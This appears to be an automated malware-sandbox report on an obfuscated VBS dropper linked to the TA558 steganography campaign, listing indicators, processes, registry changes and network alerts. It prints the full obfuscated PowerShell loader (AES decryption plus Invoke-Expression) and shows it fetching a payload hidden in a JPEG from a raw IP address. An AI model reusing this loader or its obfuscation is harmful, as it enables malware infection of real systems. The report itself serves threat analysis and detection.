File name:

createdgoodthingswtihmewhilealot.vbs

Full analysis: https://app.any.run/tasks/050cc3ea-6d53-4e08-8c25-eb3cc4c3f832
Verdict: Malicious activity
Analysis date: July 25, 2024, 07:58:04
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
opendir
ta558
apt
payload
stegocampaign
Indicators:
MIME: text/plain
File info: Unicode text, UTF-16, little-endian text, with CRLF line terminators
MD5:

11A101A06DC8BE857A337C19003C027F

SHA1:

83031F601646D041D3F6AA1C67FD0223D92D8945

SHA256:

1A553033B7EACE2B50C20D4E59BC78573AE3FEB50A9BAE19ECDA8164C99F0CE8

SSDEEP:

3072:mHGswfkYFxhNe4VTdRnTT8w4TW5ZqfA7gh1pcSckTS7zQzS18f8d6bb/g52r:cwfkYFJZqd

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  • MALICIOUS

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 6232)
    • Payload loading activity detected

      • powershell.exe (PID: 6232)
    • STEGOCAMPAIGN has been detected (SURICATA)

      • powershell.exe (PID: 6232)
  • SUSPICIOUS

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 6232)
    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 7048)
    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 7048)
    • Suspicious use of symmetric encryption in PowerShell

      • wscript.exe (PID: 7048)
    • Access the System.Security .NET namespace (SCRIPT)

      • wscript.exe (PID: 7048)
    • Probably obfuscated PowerShell command line is found

      • wscript.exe (PID: 7048)
    • Cryptography encrypted command line is found

      • powershell.exe (PID: 6232)
    • Connects to the server without a host name

      • powershell.exe (PID: 6232)
  • INFO

    • Manual execution by a user

      • wscript.exe (PID: 7048)
    • Reads security settings of Internet Explorer

      • notepad.exe (PID: 4704)
    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 6232)
    • Disables trace logs

      • powershell.exe (PID: 6232)
    • Checks proxy server information

      • powershell.exe (PID: 6232)
      • slui.exe (PID: 6612)
    • Reads the software policy settings

      • slui.exe (PID: 6612)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.txt | Text - UTF-16 (LE) encoded (66.6)
.mp3 | MP3 audio (33.3)
No data.
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Total processes
125
Monitored processes
5
Malicious processes
2
Suspicious processes
0

Behavior graph

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start notepad.exe no specs slui.exe wscript.exe no specs #STEGOCAMPAIGN powershell.exe conhost.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
4704"C:\WINDOWS\system32\NOTEPAD.EXE" C:\Users\admin\Desktop\createdgoodthingswtihmewhilealot.vbs.txtC:\Windows\System32\notepad.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\notepad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
6232"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI78610112406775542444430577295594CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIewVYMXIjd0IiyxAOvmNnWLYw5Eu4b0VXk3bSjdKA7lSHB9BLnU+uPJ9SiJ74eyptAIAppnpr+BsUMRXfqWjgMIwFoLNKR0NQHLMCJEWCrOJBjVICJxnFX3tCPNgB6mHF+kNTy1VfK4+LyvU3qIL69P45wQIjLUPpRYxY2hmRmbo9GA09GVTJXNJuL+iPAabjhQ7MgpbwfqYG+7ELV4hgsgBCIEYiOUtIG+rPBYPwCkmQpZ9jJMhVCmc6MXFvdGj563XVSMZTZSxsGyhZBcSDOa+Nk2xqoX8yQzNUPJqqo/BBdXOlpnuqFtcbCijRbAHkXviwTTVRVg3FYeSF3OsP+3TjeetorYE0ZxjB6stzv5ajA+a0rJrG8sVHnjK969xxoMc1pr8usWKB3SJ4O95CiZBZKAGFGDcJ19yD0G9G+enotq8WvnmNcCegjY8EAvpKr9PdbPa2TCwTzM+69JOqcqPYjJ+zSphAskS8uR+geMoJ/T+2YcH9Zw/0eLgkVRxnxfvp4EY0Fo02NWL35wfEgE6MB6HkPtxJYAMbjQpeWdGiSzPqiGn6IS3wDBji1aG80hFcScUvBxNEkiGKBkHMiwi/THzHrxVam9IpllRADTAOhYAM+U22bacs7mc/gH1U+r1/BZaXGYCi9rT1IsgCiK6zb2Vhm/jRjBuge8pIrjnojPhe8vmGH6YN6UbVtAMEfpQTDvP8HYYsZKiSoYk+t/acEoz/KzMeApN7m5031/pRDeXgty1KBslB9tbXqbrrtgKRkw+Okd+voEkcneBAhXnIuNfm6PGq0bWSbW7rmLZn2kzUQCzo+iZvqx7MxjUYpQeJj5woOwv1THkndHDdx8edqn/FY/8d4y1yaW5OrMZZt1BqXmxUZxBtsmQyxTxSTq7QQBtqCqCeZ/JMXOYk3djdcw6RsA0JOdLdw33eRe94ngXgPGD1QvJHMyyU76ieZfxhECurpPFH41s8/2hTrMLPSf0JJcGAQkPbHursJVqHCHDhx2+RNCazcyjrWwquN8hu9Z5eebug/tf1IPhSvojAdZXdsPL5EIQnai7BKwZqprJXVISh1BVncfNrI/hlfiwGxQ5EPJNew+v4LHfJbHwasr6KTqJDtHmopzStuyZJdNudQ1wrlk3/JdiuHy0GutNOgrWopqAFfXTUohuiDClnJFDHa6rM9SYHB1DNuFOkb48PySZuGgSW1z9yKgi68jsuO41Ic9Ah0smJ32HVp4JLM2amjCPZRZLxtVWZiv1Dvm6Nt9cyhmljn9lGp0XLIZqpyFzjlpN8xOO/1qgw6ce5e6Yx/OAiu1HXis6EoCllgzOwqrnFSuVtFBrkLR4SSYk26kjpHu6o7/bf6Vxnn7c9Bth5jxMKgyYHWHYtj7ItLgnonaKqKOvqy7o/lwONCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6348\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6612C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
7048"C:\WINDOWS\System32\WScript.exe" "C:\Users\admin\Desktop\createdgoodthingswtihmewhilealot.vbs..txt.vbs" C:\Windows\System32\wscript.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
1
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
10 504
Read events
10 482
Write events
22
Delete events
0

Modification events

(PID) Process:(7048) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(7048) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(7048) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(7048) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(6232) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(6232) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(6232) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(6232) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(6232) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(6232) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
Executable files
0
Suspicious files
0
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
6232powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0uhfxxm3.s03.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6232powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ciyybcqz.rem.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
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HTTP(S) requests
5
TCP/UDP connections
19
DNS requests
7
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
6232
powershell.exe
GET
198.46.176.133:80
http://198.46.176.133/Upload/vbs.jpeg
unknown
unknown
POST
200
20.42.73.27:443
https://self.events.data.microsoft.com/OneCollector/1.0/
unknown
binary
9 b
POST
500
40.91.76.224:443
https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail
unknown
xml
512 b
POST
500
40.91.76.224:443
https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail
unknown
xml
512 b
POST
401
4.209.32.198:443
https://licensing.mp.microsoft.com/v7.0/licenses/content
unknown
binary
340 b
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
whitelisted
3220
RUXIMICS.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6012
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4404
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4204
svchost.exe
4.209.32.198:443
MICROSOFT-CORP-MSN-AS-BLOCK
US
unknown
239.255.255.250:1900
whitelisted
4
System
192.168.100.255:137
whitelisted
4404
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6012
MoUsoCoreWorker.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
4372
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 4.231.128.59
  • 40.127.240.158
whitelisted
google.com
  • 142.250.181.238
whitelisted
activation-v2.sls.microsoft.com
  • 40.91.76.224
whitelisted
self.events.data.microsoft.com
  • 52.168.117.174
whitelisted

Threats

PID
Process
Class
Message
Generic Protocol Command Decode
SURICATA HTTP Request unrecognized authorization method
6232
powershell.exe
A Network Trojan was detected
ET MALWARE Base64 Encoded MZ In Image
6232
powershell.exe
A Network Trojan was detected
PAYLOAD [ANY.RUN] Stegocampaign Jpeg with base64 added (TA558)
6232
powershell.exe
A Network Trojan was detected
PAYLOAD [ANY.RUN] Base64 encoded PE EXE file inside JPEG image
No debug info